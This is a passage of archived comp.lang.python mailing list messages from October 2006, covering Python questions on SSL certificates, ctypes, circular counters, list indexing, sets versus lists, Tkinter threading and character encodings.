> plans for its next generation high-end laptop and ultra-portable
> computer systems.
> 
> To read this articles, go to:
> http://www.contactomagazine.com/laptopcomputers1006.htm
> 
> More Business and Computer News:
> http://www.contactomagazine.com/business.htm
> 

Golly Joe, why would any member of a mailing list be interested in
products advertised by spamming their mailing list?



From premiergeneration at yahoo.com  Tue Oct 24 01:08:03 2006
From: premiergeneration at yahoo.com (Yogesh Chawla - PD)
Date: Mon, 23 Oct 2006 22:08:03 -0700 (PDT)
Subject: SSL follow up
In-Reply-To: <20061024010401.35037.qmail@web82708.mail.mud.yahoo.com>
Message-ID: <20061024050803.66708.qmail@web82703.mail.mud.yahoo.com>

Hi Paul and John,
Thanks for the SSL follow up messages.

I have 2 questions.  1) How do we get the Server cert
in python.  John wrote: "Nor does there seem to be a
way to get at the certificate itself from within
Python."  Perhaps pycurl will allow us to do this.  Is
there another method to get the server cert?

2) I like the idea of calling openssl in a subprocess.
 Do you have any of those openssl commands handy?  If
not, I can look through the documentation tommorrow.

Thanks!

Yogesh


From p.lavarre at ieee.org  Wed Oct 25 19:57:47 2006
From: p.lavarre at ieee.org (p.lavarre at ieee.org)
Date: 25 Oct 2006 16:57:47 -0700
Subject: call Mac gcc -framework from CTypes how
In-Reply-To: <1161802274.067960.326920@m73g2000cwd.googlegroups.com>
References: <1161218951.763867.148520@i3g2000cwc.googlegroups.com>
	<1161802274.067960.326920@m73g2000cwd.googlegroups.com>
Message-ID: <1161820667.412646.99440@m73g2000cwd.googlegroups.com>

> > can I somehow call the IONotificationPortCreate in the
> > Framework that Apple built instead,
>
> $ cd /System/Library/Frameworks/
> $ cd IOKit.framework/Versions/Current/
> $ file IOKit

Also ctypes.util.find_library('CoreFoundation')



From ldo at geek-central.gen.new_zealand  Sat Oct  7 23:36:15 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Sun, 08 Oct 2006 16:36:15 +1300
Subject: error handling in user input: is this natural or just laborious
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
	<sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
Message-ID: <eg9rlh$6t9$3@lust.ihug.co.nz>

In message <sXzVg.9551$vJ2.7097 at newssvr12.news.prodigy.com>, James Stroud
wrote:

> Patently. Tabs should be reserved for tables, for which tabs were named.
> If they were meant to be used for indenting, they would have been
> named "indenters". 

Really? I thought they were for tabulators
<http://www.columbia.edu/acis/history/tabulator.html>.


From ldo at geek-central.gen.new_zealand  Sun Oct  8 18:26:06 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 11:26:06 +1300
Subject: testing machine responsiveness
References: <eg5kjf$ona$1@foggy.unx.sas.com>
Message-ID: <egbts1$v38$1@lust.ihug.co.nz>

In message <eg5kjf$ona$1 at foggy.unx.sas.com>, Tim Arnold wrote:

>         try:
>             s.connect((cpu,7))
>         except:
>             return 0
>         try:
>             s.send('test')
>             s.recv(128)
>             s.close()
>             return 1
>         except:
>             return 0

Call me nervous, but I like to make my "except" clauses as specific as
possible, to catch only the errors I'm expecting. This is to minimize the
chance of some hidden bug sneaking through and causing the wrong behaviour.

> 
>         try:
>             rup = os.popen('rup %s | sort -n -t, -k4 | grep day' %
> (self.asString))
>         except OSError:
>             return self.asList

So if the rup call fails, you're returning a plain list of all the
hostnames? Won't this cause the following parsing to fail?

If you're going to trigger a failure, isn't it better for it to happen as
close as possible to the actual cause? In other words, take out the
try/except block above and let the os.popen call itself directly signal an
exception on failure.

Disclaimer: I've never actually used rup. :)


From grflanagan at yahoo.co.uk  Mon Oct  9 06:05:06 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 9 Oct 2006 03:05:06 -0700
Subject: Implementing a circular counter using property / descriptors?
In-Reply-To: <pan.2006.10.08.10.25.09.468491@yahoo.it>
References: <pan.2006.10.08.10.25.09.468491@yahoo.it>
Message-ID: <1160388306.210573.229650@m73g2000cwd.googlegroups.com>


IloChab wrote:

> I'd like to implement an object that represents a circular counter, i.e.
> an integer that returns to zero when it goes over it's maxVal.
>
> This counter has a particular behavior in comparison: if I compare two of
> them an they differ less than half of maxVal I want that, for example,
> 0 > maxVal gives true.
> This is because my different counters  grew together and they never
> differ a lot between them and so a value of 0 compared with an other of
> maxVal means that the previous one just made its increment before the
> other one.
>
> The python problem that I give you it's about style.
> I'd like to write in my code something that looks almost like using an
> integer object.
>
> I mean, I'd like to write:
>
> cnt = CircularConter(maxVal=100, initialVal=10)
> cnt += 100     # cnt value is 9
> print cnt      # prints 9
> 100 > cnt      # is false
> cnt = 100      # cnt new value is 100 [NOT  rebind cnt with 100]
>

[...]

> ... and so my real writing was:
>
> cnt = CircularConter(maxVal=100, initialVal=10)
> cnt += 100
> print cnt
> 100 > cnt        # is false
> cnt.set(100)
>
> The fact is that I don't like to write cnt.set(100) or
> cnt = CircularConter(100, 100) instead of cnt = 100.
> So I thought that property or descriptors could be useful.
> I was even glad to write:
>
> cnt = CircularConterWithProperty(maxVal=100, initialVal=10)
> cnt.val += 100
> print cnt.val
> 100 > cnt.val      # is false
> cnt.val = 100
>
> just to give uniformity to counter accessing syntax.
> But I wasn't able to implement nothing working with my __cmp__ method.
>

[...]

>
> __ What I don't know __  is if there is a way to write a class that allows
> my desire of uniform syntax or if IT IS JUST A NON SENSE.
>
> I'll thank in advance for any answer.
>
> Saluti a tutti
> Licia

As Steven said, it's not possible to do what you want. I don't think
there's any way around either

    cnt.val = 100

or

    cnt.setval(100)

Here's an iterator version of your Counter class:

class Counter(object):

    def __init__(self, maxval, initval=0):
        self.maxval = maxval
        self.val = initval

    def __iter__(self):
        return self

    def next(self):
        ret = self.val
        self.__add__(1)
        return ret

    def __add__(self, increment):
        self.val = (self.val + increment) % self.maxval
        return self

    def __sub__(self, decrement):
        self.val = (self.val - decrement) % self.maxval
        return self

    def __cmp__(self, operand):
        return cmp(self.maxval/2, abs(operand - self.val)) *
cmp(self.val,operand)

    def __repr__(self):
        return str(self.val)

    def __str__(self):
        return str(self.val)


cnt = Counter(10)
print cnt
cnt += 23
print cnt, cnt > 5

cnt.val = 7
print
print cnt, cnt > 5

cnt -= 65
print
print cnt, cnt > 5

print
print zip(cnt, ['a', 'b', 'c', 'd'])

-----------------------

Gerard



From nbridges at interlog.com  Thu Oct 12 11:42:45 2006
From: nbridges at interlog.com (Neal Bridges)
Date: Thu, 12 Oct 2006 11:42:45 -0400
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<sJrXg.46560$DU3.23285@tornado.texas.rr.com>
	<WcCdnUyXTsda_bPYnZ2dnUVZ_rOdnZ2d@wispertel.com>
Message-ID: <12isojlasb7p003@corp.supernews.com>

"John Doty" <jpd at whispertel.LoseTheH.net> wrote in message
news:WcCdnUyXTsda_bPYnZ2dnUVZ_rOdnZ2d at wispertel.com...
[snip]
> Here's a K&R C function I wrote almost 20 years ago.
[code snipped]

John, 'man indent' right away!

-- 
Neal Bridges
http://quartus.net  Home of Quartus Forth for the Palm OS!




From deets at nospam.web.de  Fri Oct  6 06:55:57 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 06 Oct 2006 12:55:57 +0200
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <mailman.1446.1160129559.10491.python-list@python.org>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>	<4omn7jFfe26cU1@uni-berlin.de>
	<mailman.1446.1160129559.10491.python-list@python.org>
Message-ID: <4omr1tFfbn9dU1@uni-berlin.de>

hanumizzle schrieb:
> On 10/6/06, Diez B. Roggisch <deets at nospam.web.de> wrote:
> 
>> This is on the same level of interest to the communities of python, ruby
>> & java as the color of my socks this morning - a deep black with cute
>> little skulls imprinted.
> 
> Where did you get these?

You can buy them at H&M, but unfortunately they aren't always in stock. 
But little skulls on thingies the have quite often - I don't wanna get 
into the details of my underwear.... :P

Diez


From http  Sun Oct 22 22:47:02 2006
From: http (Paul Rubin)
Date: 22 Oct 2006 19:47:02 -0700
Subject: comp.lang.python, comp.sys.ibm.pc.games.rpg, comp.arch.embedded,
	comp.programming, comp.text.txt
References: <1161571237.942887.159530@m7g2000cwm.googlegroups.com>
Message-ID: <7xfydf21g9.fsf@ruckus.brouhaha.com>

vilebuzz at hotmail.com writes:
> trying to find out where everyone else is buying/selling at other than
> ebay,  any recomendations?

Yes, one thing for sure, those of us with sense don't buy from
spammers like yourself.


From vedran_dekovic at yahoo.com  Mon Oct  2 08:57:38 2006
From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com)
Date: 2 Oct 2006 05:57:38 -0700
Subject: PYTHON PHONE MODULE
Message-ID: <1159793857.974408.114000@e3g2000cwe.googlegroups.com>

Hello,
Can you tell me one simple python phone module and if that module have
some
moudules which need download from internet,then give me urls of that
modules







                          THANKS!!!!!!!!!!!!!!!!!!!!!!!!!!



From ilias at lazaridis.com  Wed Oct 11 21:56:30 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 11 Oct 2006 18:56:30 -0700
Subject: Python component model
In-Reply-To: <mailman.343.1160617110.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
Message-ID: <1160618190.314729.236250@c28g2000cwb.googlegroups.com>


Peter Decker wrote:
> On 10/10/06, Peter Maas <peter.maas at utilog.de> wrote:
>
> > I for my part would be happy to see a Delphi-like RAD tool for Python,
> > a reference implementation for web programming as part of the standard
> > library, Jython 2.5, Python for PHP or whatever attracts new programmers.
>
> I think you should take a good look at Dabo and the visual tools they
> are creating. While I would be the first one to admit that they are
> not polished to the level of Delphi, they are pretty amazing for a
> couple of guys working in their spare time! If we could get more of
> the community to contribute to this project, I don't think that there
> would be any other RAD tool that would come close.
> --
>
> # p.d.

yes, an interesting tool.

But to get more attention and developers, the project needs to be
polished.

really unattractive resources:

http://dabodev.com
http://case.lazaridis.com/wiki/DaboAudit



From MonkeeSage at gmail.com  Tue Oct 10 00:41:20 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 9 Oct 2006 21:41:20 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <sBvWg.9232$o71.985@newsread3.news.pas.earthlink.net>
References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com>
	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>
	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>
	<mailman.61.1160333064.11739.python-list@python.org>
	<1160335473.625244.261640@m7g2000cwm.googlegroups.com>
	<mailman.76.1160338331.11739.python-list@python.org>
	<1160345922.051578.146630@i3g2000cwc.googlegroups.com>
	<mailman.97.1160379058.11739.python-list@python.org>
	<sBvWg.9232$o71.985@newsread3.news.pas.earthlink.net>
Message-ID: <1160455280.118212.202770@b28g2000cwb.googlegroups.com>


On Oct 9, 2:31 am, Steve Holden <s... at holdenweb.com> wrote:
> Keep right on guessing.

I hope I'm not offending one whom I consider to be much more skilled
and versed than I am, not only in python, but in programming in
general; but I must say: it seems you are being rather obtuse here. I
think I laid out the principal clearly enough, and I know you have the
mental capacity to extrapolate from the principal to general use cases.
But even so, here is a simple use case from the standard library
(python 2.5 release source):

In Libs/site.py, lines 302-306:

            try:
                for i in range(lineno, lineno + self.MAXLINES):
                    print self.__lines[i]
            except IndexError:
                break

With my proposal, that could be written as:

            for i in range(lineno, lineno + self.MAXLINES):
                if self.__lines.has_index(i):
                    print self.__lines[i]
                else:
                    break

Granted, in this particular case the amount of code is not reduced, but
(and I would hope you'd agree) the control flow is certainly easier to
follow.

> OK, so now we appear to be arguing about whether a feature should go
> into Python because *you* find it to be easier to read and write. But I
> don't see a groundswell of support from other readers saying "Wow, I've
> always wanted to do it like that".

*Someone* (other than me!) obviously found it nice to have the dict
convenience methods. As for garnishing support, I almost see that as
more of a cultural, rather than pragmatic issue. I.e., if it's not
there already, then it shouldn't be there: "what is is what should be".
Of course, consistently following that naive presumption would totally
stiffle *any* extension to python. However, (I think) I do understand
the psychology of the matter, and don't fault those who cannot see past
what already is (not meaning to implicate you or Fredrick or anyone
else -- the comment is innocent).

> In fact d.has_key(k) is a historical spelling, retained only for
> backwards compatibility, of k in dict. As to the d.get(k, default)
> method I really don't see a compelling use case despite your
> protestations, and I don't seem to be alone. Please feel free to start
> recruiting support.

As I stated to another poster; I'm not really concerned with
implementation details, only with the presence or absence of
convenience methods. You can write "if k in d" as easily as "if index <
len(seq)". But semantically, they are similar enough, in my (admittedly
lowly) estimation, to desevere similar convenience methods.

> The fact that nobody has listed the good reasons why I shouldn't try to
> make a computer from mouldy cheese doesn't make this a good idea.

Heh. True. I didn't mean to imply that I was arguing from the negative.
I was only tring to shift the perspective to include the reasons for
the dict convenience methods. If C is good for A, and A is sufficiently
similar to B, then C is good for B. But if C is just crud, then forget
it all around. ;)


On Oct 9, 12:24 pm, Dennis Lee Bieber <wlfr... at ix.netcom.com> wrote:
>         But how do you handle the case of:
>
> l = []
> i = 10
>
> l[i] = l.get(i, 0) + 1

You don't; you just let the IndexError fall through. Same as a KeyError
for d[k]. My propopsal is in regard to convencience methods, not to
direct access.

Ps. Sorry if this comes through twice, Google is being wierd right now.

Regards,
Jordan



From horpner at yahoo.com  Tue Oct 24 11:00:24 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 24 Oct 2006 17:00:24 +0200
Subject: The format of filename
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<453e2751$0$13828$4d3efbfe@news.sover.net>
Message-ID: <slrnejsalb.1gg.horpner@FIAD06.norwich.edu>

On 2006-10-24, Leif K-Brooks <eurleif at ecritters.biz> wrote:
> Neil Cerutti wrote:
>> As an example, I'm aware (through osmosis?) that I can use '/'
>> as a directory separator in filenames on both Unix and Dos.
>> But where is this documented?
>
> It's documented in the OS's documentation. It can be queried
> with os.sep and os.altsep.

Thanks. The contents of 6.1.6 Miscellanious System Information
seems to be what I'm looking for.

-- 
Neil Cerutti
I've had a wonderful evening, but this wasn't it. --Groucho Marx


From steve at REMOVEME.cybersource.com.au  Mon Oct 23 22:39:37 2006
From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano)
Date: Tue, 24 Oct 2006 12:39:37 +1000
Subject: Negative integers and string formating
References: <pan.2006.10.24.01.44.04.331823@REMOVEME.cybersource.com.au>
	<7x64eao4sa.fsf@ruckus.brouhaha.com>
Message-ID: <pan.2006.10.24.02.39.36.313538@REMOVEME.cybersource.com.au>

On Mon, 23 Oct 2006 18:56:21 -0700, Paul Rubin wrote:

> Steven D'Aprano <steve at REMOVEME.cybersource.com.au> writes:
>> def display(**kwargs):
>>     fs = format(kwargs['argument'])
>>     return fs % kwargs
> 
>  def display(**kwargs):
>      fs = format(kwargs['argument'])
>      return fs % dict((x, abs(y)) for x,y in kwargs.iteritems())

That will do it! Thanks,

-- 
Steven



From Eric_Dexter at msn.com  Thu Oct 19 00:52:57 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 18 Oct 2006 21:52:57 -0700
Subject: passing values to a program
Message-ID: <1161233577.817801.278720@k70g2000cwa.googlegroups.com>

     I almost have this thing running like I want it to run but I want
the values to come from the program that calls this one.  There are two
things I want to pass File_Name and CutString.  They both need to go to
loadFile routine of Class WordGrid to replace constants.  Thank you for
putting up with my quesitons in advance.


import wx
import wx.grid as gridlib



#---------------------------------------------------------------------------

class WordGrid(gridlib.Grid):
    def __init__(self, parent, log):
        gridlib.Grid.__init__(self, parent, -1)


        self.loadFile()

        self.CreateGrid(len(self.rows), self.widestRow)

        for r, row in enumerate(self.rows):
            for c, col in enumerate(row):
                self.SetCellValue(r, c, col)
            self.SetColSize(c, 10*self.widestCol)

        for c, label in enumerate(self.header):
            self.SetColLabelValue(c, label)

    def loadFile(self):
       #from_file
       infile = open('test.sco', 'r')
       foundHeader = False
       self.rows = []
       for line in infile:
           if ";<sco_header>" in line:
               #removefirst = line.split(' ')
               self.header = line.split()
               #foundHeader = 'true'
               continue     # we don't want to process this line any
further
           else:
               self.rows.append(line.split())

       self.widestRow = max([len(r) for r in self.rows])
       self.widestCol = max([len(c) for c in [r for r in self.rows]])



#---------------------------------------------------------------------------

class TestFrame(wx.Frame):
    def __init__(self, parent, log):
        wx.Frame.__init__(self, parent, -1, "Simple Grid Demo",
size=(640,480))
        grid = WordGrid(self, log)

#---------------------------------------------------------------------------
#def main():

def main(From_File, string):
    import sys
    From_file = argv[1]
    #split_string = argv2[2]
    app = wx.PySimpleApp()
    frame = TestFrame(None, sys.stdout)
    frame.Show(True)
    app.MainLoop()
    pass

if __name__ == '__main__':
    import sys
    main('test.sco', 'sfd')

http://www.dexrow.com



From cginboston at hotmail.com  Tue Oct  3 13:07:15 2006
From: cginboston at hotmail.com (Chaz Ginger)
Date: Tue, 03 Oct 2006 17:07:15 GMT
Subject: Best way to handle large lists?
In-Reply-To: <efu425$353$1@gemini.csx.cam.ac.uk>
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>
	<7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com>
	<efttv2$9p6$1@gemini.csx.cam.ac.uk>
	<efu425$353$1@gemini.csx.cam.ac.uk>
Message-ID: <452298C7.8040204@hotmail.com>

Jeremy Sanders wrote:
> Jeremy Sanders wrote:
> 
>> Chaz Ginger wrote:
>>
>>> What would sets do for me over lists?
>> It's faster to tell whether something is in a set or dict than in a list
>> (for some minimum size).
> 
> As a footnote, this program
> 
> import random
> num = 100000
> 
> a = set( range(num) )
> for i in range(100000):
>     x = random.randint(0, num-1) in a
>     
> completes in less than a second, whereas
> 
> import random
> num = 100000
> 
> a = range(num)
> for i in range(100000):
>     x = random.randint(0, num-1) in a
>     
> takes a long time on my computer.
> 
> Jeremy
> 
Thanks Jeremy. I am in the process of converting my stuff to use sets! I
wouldn't have thought it would have made that big a deal! I guess it is
live and learn.

Peace,
Chaz


From bernard.chhun at gmail.com  Thu Oct 12 07:46:14 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 12 Oct 2006 04:46:14 -0700
Subject: error handling
In-Reply-To: <mailman.336.1160599639.11739.python-list@python.org>
References: <mailman.325.1160583556.11739.python-list@python.org>
	<1160594180.913653.268200@m7g2000cwm.googlegroups.com>
	<mailman.336.1160599639.11739.python-list@python.org>
Message-ID: <1160653574.335822.57120@k70g2000cwa.googlegroups.com>

lol you are so right! I didn't even notice this was the 1.5.2 version!


Gabriel Genellina wrote:
> At Wednesday 11/10/2006 16:16, Bernard wrote:
>
> >I just found this webpage showing the most common exceptions:
> >http://pydoc.org/1.5.2/exceptions.html
>
> Why not refer to the *current* documentation?
> http://docs.python.org/lib/module-exceptions.html
> (You already have it installed with Python)
>
> 1.5.2 is way too old!
>
>
> --
> Gabriel Genellina
> Softlab SRL
>
>
>
>
>
> __________________________________________________
> Pregunt?. Respond?. Descubr?.
> Todo lo que quer?as saber, y lo que ni imaginabas,
> est? en Yahoo! Respuestas (Beta).
> ?Probalo ya! 
> http://www.yahoo.com.ar/respuestas



From pavlovevidence at gmail.com  Sun Oct 29 14:27:25 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 29 Oct 2006 11:27:25 -0800
Subject: question about True values
In-Reply-To: <pan.2006.10.29.12.22.58.859817@REMOVE.THIS.cybersource.com.au>
References: <1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
	<pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>
	<1162031090.711952.228280@m7g2000cwm.googlegroups.com>
	<pan.2006.10.28.22.10.57.345329@REMOVE.THIS.cybersource.com.au>
	<1162107083.907729.127120@f16g2000cwb.googlegroups.com>
	<pan.2006.10.29.12.22.58.859817@REMOVE.THIS.cybersource.com.au>
Message-ID: <1162150045.240442.286460@h48g2000cwc.googlegroups.com>

Steven D'Aprano wrote:
> It isn't often that I make an appeal to authority, but this is one of
> them. No offense, but when it comes to language design its a brave or
> foolish programmer who bucks the language idioms that Guido chose.

Well, it's pretty clear you consider some abstact notion of unity of
style more important than practical considerations of how your data is
used.

In that case you might as well just go with what the authority tells
you to.

(And hope that your users don't do much numerical stuff.)


Carl Banks



From jweida at gmail.com  Fri Oct 20 17:13:31 2006
From: jweida at gmail.com (Jerry)
Date: 20 Oct 2006 14:13:31 -0700
Subject: Decorators and how they relate to Python - A little insight
	please!
In-Reply-To: <mailman.814.1161326773.11739.python-list@python.org>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
	<1161322723.451426.305480@m7g2000cwm.googlegroups.com>
	<mailman.814.1161326773.11739.python-list@python.org>
Message-ID: <1161378810.977987.88220@m7g2000cwm.googlegroups.com>

Thanks to everyone that resonded.  I will have to spend some time
reading the information that you've provided.

To Fredrik, unfortunately yes.  I saw the examples, but couldn't get my
head wrapped around their purpose.  Perhaps it's due to the fact that
my only experience with programming is PHP, Perl and Python and to my
knowledge only Python supports decorators (though it could be that I
just didn't encounter them until I came across Python).

--
Jerry



From peter.maas at somewhere.com  Fri Oct  6 15:43:10 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Fri, 06 Oct 2006 21:43:10 +0200
Subject: n-body problem at shootout.alioth.debian.org
Message-ID: <eg6bku$59b$1@online.de>

I have noticed that in the language shootout at shootout.alioth.debian.org
the Python program for the n-body problem is about 50% slower than the Perl
program. This is an unusual big difference. I tried to make the Python program
faster but without success. Has anybody an explanation for the difference?
It's pure math so I expected Perl and Python to have about the same speed.

Peter Maas, Aachen


From fredrik at pythonware.com  Sun Oct  1 14:55:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 20:55:06 +0200
Subject: a query on sorting
In-Reply-To: <45200547$1@nntp0.pdx.net>
References: <20060927092030.76520.qmail@web8508.mail.in.yahoo.com>	<mailman.796.1159357863.10491.python-list@python.org>	<JCuSg.380$5o5.260@tornado.texas.rr.com>
	<45200547$1@nntp0.pdx.net>
Message-ID: <efp2ud$5st$1@sea.gmane.org>

Scott David Daniels wrote:

>> map(tuple,map(reversed,list(enumerate(a))))
> 
> Doesn't the following read more easily?
 >
>      [tuple(reversed(x)) for x in enumerate(a)]

that involves two extra name lookups for each item in the sequence, 
though, so it doesn't execute more easily.

</F>



From mail at microcorp.co.za  Thu Oct  5 00:58:32 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Thu, 5 Oct 2006 06:58:32 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>
	<rowen-E7230A.11154804102006@gnus01.u.washington.edu>
Message-ID: <02ba01c6e858$0178d520$03000080@hendrik>

 "Russell E. Owen" <rowen at cesmail.net> wrote:


> In article <mailman.1242.1159951684.10491.python-list at python.org>,
>  "Hendrik van Rooyen" <mail at microcorp.co.za> wrote:
>
> >Hi,
> >
> >I get the following:
> >
> >hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
> >UpdateStringProc should not be invoked for type font
> >Aborted
> >...
> >Everything seems to work fine. - there is a thread that runs to move the
meter
> >values around continuously, and this has been stable for some time now, and I
> >can get the various "machine" parts to move around the screen by pushing the
> >buttons...
>
> You mention threads several times in your posting. Do you have multiple
> threads talking to Tkinter? If so, try recoding to avoid this (e.g. by
> having the background threads communicate with the main thread via
> Queues).
>
> -- Russell

I am not sure how to do this - once I have called the Tkinter mainloop - that
main thread is essentially event driven - and figuring out how to get it to poll
a queue for content is not obvious - I suppose I could arrange some external
wake up event that I could activate to make it look at the queue - must read up
on this...

Thanks it is a good idea as it will make the interface cleaner, and as I have to
sort out inter process communication anyway it will make sense to also use a
queueing mechanism between the threads in this display process.

There is already one queue defined - but its a hack as I use it to pass the main
threads id to get around the problem of referring to a class before its
defined...

- Hendrik




From gagsl-py at yahoo.com.ar  Tue Oct 24 22:39:21 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 24 Oct 2006 23:39:21 -0300
Subject: win32com problem
In-Reply-To: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
Message-ID: <7.0.1.0.0.20061024233831.0420f748@yahoo.com.ar>

At Tuesday 24/10/2006 22:15, cfriedalek at gmail.com wrote:

>Set Tet = Synergy.StudyDoc.GetFirstTet()
>tet = Synergy.StudyDoc.GetFirstTet

Can you see the difference...?


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From reivax85 at gmail.com  Wed Oct 18 12:51:18 2006
From: reivax85 at gmail.com (Sssasss)
Date: 18 Oct 2006 09:51:18 -0700
Subject: matrix Multiplication
In-Reply-To: <21kw1dd7tyt1.17useke8ur07r.dlg@40tude.net>
References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com>
	<21kw1dd7tyt1.17useke8ur07r.dlg@40tude.net>
Message-ID: <1161190278.550922.35640@h48g2000cwc.googlegroups.com>


David wrote:
> Il 18 Oct 2006 04:17:29 -0700, Sssasss ha scritto:
>
> > hi evrybody!
> >
> > I wan't to multiply two square matrixes, and i don't understand why it
> > doesn't work.
> Can I suggest a little bit less cumbersome algorithm?
>
> def multmat2(A,B):
>     "A*B"
>     if len(A)!=len(B): return "error"   # this check is not enough!
>     n = range(len(A))
>     C = []
>     for i in n:
>         C.append([0]*len(A))  # add a row to C
>         for j in n:
>             a = A[i]    # get row i from A
>             b = [row[j] for row in B] # get col j from B
>             C[i][j] = sum([x*y for x,y in zip(a,b)])
>     return C
>
> regards
> D.

This one is really nice, i didn't knew the zip function, thank you
ciao



From grahn+nntp at snipabacken.dyndns.org  Sun Oct  1 04:30:32 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 1 Oct 2006 08:30:32 GMT
Subject: builtin regular expressions?
References: <451e37a5$1@news.vo.lu>
Message-ID: <slrnehuv54.gim.grahn+nntp@frailea.sa.invalid>

On Sat, 30 Sep 2006 11:24:56 +0200, Antoine De Groote <antoine at vo.lu> wrote:
> Hello,
>
> Can anybody tell me the reason(s) why regular expressions are not built 
> into Python like it is the case with Ruby and I believe Perl?

In a way, there /is/ builtin support -- regexes would be much more painful
to use unless you had the regex-quoted strings. 

r'\s*(\d+),\s*(\d+)\s='
 '\\s*(\\d+),\\s*(\\d+)\\s='

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From fredrik at pythonware.com  Thu Oct 19 12:25:26 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 18:25:26 +0200
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <eh8708$nc7$1@solaris.cc.vt.edu>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
Message-ID: <eh88tt$ekv$1@sea.gmane.org>

rick wrote:

> The Ruby approach makes sense to me as a human being.

do the humans on your planet spend a lot of time reversing strings? 
it's definitely not a very common thing to do over here.

anyway, if you do this a lot, why not define a helper function?

     def reverse(s):
         return s[::-1]

     print reverse("redael ruoy ot em ekat")

</F>



From bj_666 at gmx.net  Tue Oct 17 13:24:26 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Tue, 17 Oct 2006 19:24:26 +0200
Subject: Faulty encoding settings
References: <slrnej9ogv.nk.horpner@FIAD06.norwich.edu>
Message-ID: <pan.2006.10.17.17.24.24.852614@gmx.net>

In <slrnej9ogv.nk.horpner at FIAD06.norwich.edu>, Neil Cerutti wrote:

> I'm writing an application that needs all internal character data
> to be stored in iso-8859-1. It also must allow input and output
> using stdin and stdout.
> 
> This works just fine with the Windows binary of Python.
> sys.stdin.encoding is correctly set to the encoding of the
> current terminal ('cp437').
> 
> s = sys.stdin.readline()
> # Convert to iso-8859-1.
> s = s.decode(sys.stdin.encoding).encode('iso-8859-1')
> 
> Granted, users are constrained to entering characters in the
> cp437 charset, but that's better than the following.
> 
> The Cygwin binary I have (2.4.3) reports sys.stdin.encoding as
> 'US-ASCII', which is quite wrong. A Cygwin terminal uses, as far
